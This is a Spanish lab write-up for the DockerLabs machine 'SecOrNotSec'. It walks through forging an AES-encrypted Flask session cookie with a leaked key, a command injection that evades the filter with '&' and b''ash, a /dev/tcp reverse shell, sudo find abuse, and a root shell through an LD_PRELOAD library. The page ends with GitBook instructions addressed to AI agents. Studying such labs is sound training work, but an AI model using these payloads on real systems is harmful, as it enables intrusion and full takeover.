> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/medio/secornotsec.md). # SecOrNotSec ## Introduccion En esta maquina de DockerLabs se compromete una aplicacion Flask expuesta en el puerto `5000`. La parte inicial gira alrededor de una consola de diagnostico protegida por una sesion debil: se encuentra un `env.bak` con la `SECRET_KEY`, se descifra la cookie cifrada con AES y se genera una sesion de administrador. Una vez dentro del panel se abusa de una funcionalidad de ping vulnerable a Command Injection. El filtro bloquea caracteres y palabras comunes, pero se puede evadir usando `&` y separando la palabra `bash` con comillas vacias. La shell inicial cae como `firstattack`, el salto lateral se realiza con `sudo find` hacia `chocolate`, y la escalada final aprovecha `SETENV` con `LD_PRELOAD` sobre `/usr/local/bin/syscheck`. *** ## Reconocimiento Se realiza un escaneo completo con Nmap: ```bash nmap -sVCS -Pn -n -p- 172.17.0.2 ```
Escaneo Nmap de SecOrNotSec
Solo aparece un puerto abierto: | Puerto | Servicio | Version | | -------- | -------- | ------------------------------------- | | 5000/tcp | HTTP | Werkzeug httpd 3.1.6 / Python 3.10.12 | Al acceder a la web se muestra una consola de diagnostico. El usuario inicial es `guest`, pero la aplicacion impide ejecutar diagnosticos si no se es administrador:
Consola de diagnostico con acceso restringido
El stack tambien se identifica como Flask/Python:
Identificacion de Flask y Python
*** ## Enumeracion web Se enumeran rutas con Gobuster: ```bash gobuster dir -u http://172.17.0.2:5000 \ -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -x html,zip,php,txt,bak \ -b 404 \ -t 60 ```
Enumeracion de rutas con Gobuster
Aparecen tres rutas interesantes: ``` env.bak login logout ``` El fichero `env.bak` es accesible y contiene la clave secreta de la aplicacion:
SECRET_KEY expuesta en env.bak
``` SECRET_KEY = 'H4ckTh3Pl4n3t_26' ``` *** ## Analisis de cookies Interceptando una peticion con Burp se observan varias cookies de sesion:
Cookies de sesion interceptadas con Burp
La cookie `user_session` contiene datos cifrados. Usando la `SECRET_KEY` filtrada como clave AES-128-CBC y el IV `0123456789abcdef`, se descifra el valor: ```bash echo "6JmCIseGBXSEntdM4LWH8KM4nu9N/RocoWVhf8olKXtmmePVlptCw/LQUCOW1XWTK" | \ openssl enc -aes-128-cbc -d -a \ -K "$(echo -n 'H4ckTh3Pl4n3t_26' | xxd -p)" \ -iv "$(echo -n '0123456789abcdef' | xxd -p)" ```
Descifrado de cookie user_session
El contenido confirma que la sesion pertenece a un usuario invitado: ```json {"user":"guest","is_admin":false} ``` *** ## Forjado de sesion admin Con la clave conocida se genera una nueva cookie cifrada, esta vez con `is_admin` en `true`: ```bash echo -n '{"user":"admin","is_admin":true}' | \ openssl enc -aes-128-cbc -e -a \ -K "$(echo -n 'H4ckTh3Pl4n3t_26' | xxd -p)" \ -iv "$(echo -n '0123456789abcdef' | xxd -p)" ```
Creacion de cookie admin cifrada
El valor generado es: ``` rO4RB9nRlYCd0A0L/cxD5ur/6RU9iac48QN3FwvTCcFrRJY7uuyjypFvWyVjNS+bs ``` Se actualizan las cookies desde Burp:
Cookies modificadas en Burp
Al recargar la aplicacion, la consola ya identifica al usuario como `admin` y muestra el formulario de diagnostico:
Acceso a la consola como admin
*** ## Command Injection La consola permite introducir una direccion IP para verificar conectividad. Se prueba una inyeccion clasica con `;id`: ``` 8.8.8.8;id ```
WAF bloqueando punto y coma
El filtro bloquea el caracter `;`, pero no bloquea el operador `&` de forma aislada. Probando con: ``` 8.8.8.8&id ``` se consigue ejecucion de comandos:
Command Injection con ampersand
La salida muestra que la aplicacion ejecuta como el usuario `firstattack`: ``` uid=1000(firstattack) gid=1000(firstattack) groups=1000(firstattack) ``` Con la inyeccion se lista el directorio de la aplicacion:
Listado del directorio de la aplicacion
Dentro aparece `app.py`, donde se ve la funcion de filtrado:
Codigo del WAF en app.py
El filtro deniega varios operadores y palabras: ```python denied = [";", "&&", "||", "|", "`", "$", "(", ")", "nc", "bash", "python", "perl", "ruby"] ``` *** ## Reverse shell Como el filtro busca la cadena literal `bash`, se puede partir la palabra con comillas vacias. Para preparar la reverse shell se escribe un script en el servidor: ``` &echo "b''ash -i >& /dev/tcp/172.17.0.1/4444 0>&1" > rev.sh ```
Creacion del script de reverse shell
En la maquina atacante se deja un listener: ```bash nc -lvnp 4444 ``` Despues se ejecuta el script con el mismo bypass: ``` &b''ash rev.sh ```
Ejecucion del script de reverse shell
Se recibe una shell como `firstattack`:
Reverse shell como firstattack
*** ## Movimiento lateral a chocolate Se revisan permisos de sudo: ```bash sudo -l ```
Permisos sudo de firstattack
El usuario `firstattack` puede ejecutar `/usr/bin/find` como `chocolate` sin contrasena: ``` (chocolate) NOPASSWD: /usr/bin/find ``` Se abusa de `find` para ejecutar una shell como `chocolate`: ```bash sudo -u chocolate find . -exec /bin/sh \; -quit id ```
Shell como usuario chocolate mediante find
La salida confirma el salto lateral: ``` uid=1001(chocolate) gid=1001(chocolate) groups=1001(chocolate) ``` *** ## Escalada a root Como `chocolate`, se revisan de nuevo los permisos de sudo: ```bash sudo -l ```
Permisos sudo de chocolate
El usuario puede ejecutar `/usr/local/bin/syscheck` como root con `SETENV`: ``` (root) SETENV: NOPASSWD: /usr/local/bin/syscheck ``` Al permitir variables de entorno, se puede abusar de `LD_PRELOAD`. Se crea una libreria compartida que ejecuta `/bin/sh` con privilegios de root: ```c #include #include #include __attribute__((constructor)) void root_shell() { if (setuid(0) == 0) { setuid(0); setgid(0); char *argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); } } int main() { puts("System Status: All systems operational."); return 0; } ``` Se compila en `/tmp`: ```bash gcc -fPIC -shared -o /tmp/syscheck.so /tmp/syscheck.c -nostartfiles ```
Creacion y compilacion de libreria LD_PRELOAD
Finalmente se ejecuta `syscheck` cargando la libreria maliciosa: ```bash sudo LD_PRELOAD=/tmp/syscheck.so /usr/local/bin/syscheck ```
Shell root mediante LD_PRELOAD
La shell resultante es de root: ```bash whoami root ``` *** ## Resumen La cadena completa queda: 1. Reconocimiento de Flask/Werkzeug en el puerto `5000`. 2. Enumeracion web y descubrimiento de `env.bak`. 3. Fuga de `SECRET_KEY`. 4. Descifrado de `user_session` con AES-128-CBC. 5. Forjado de sesion de administrador. 6. Command Injection en la consola de diagnostico. 7. Bypass del WAF usando `&` y `b''ash`. 8. Reverse shell como `firstattack`. 9. Movimiento lateral a `chocolate` con `sudo find`. 10. Escalada a root mediante `SETENV` y `LD_PRELOAD`. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://itskode.gitbook.io/pentesting/dockerlabs/medio/secornotsec.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.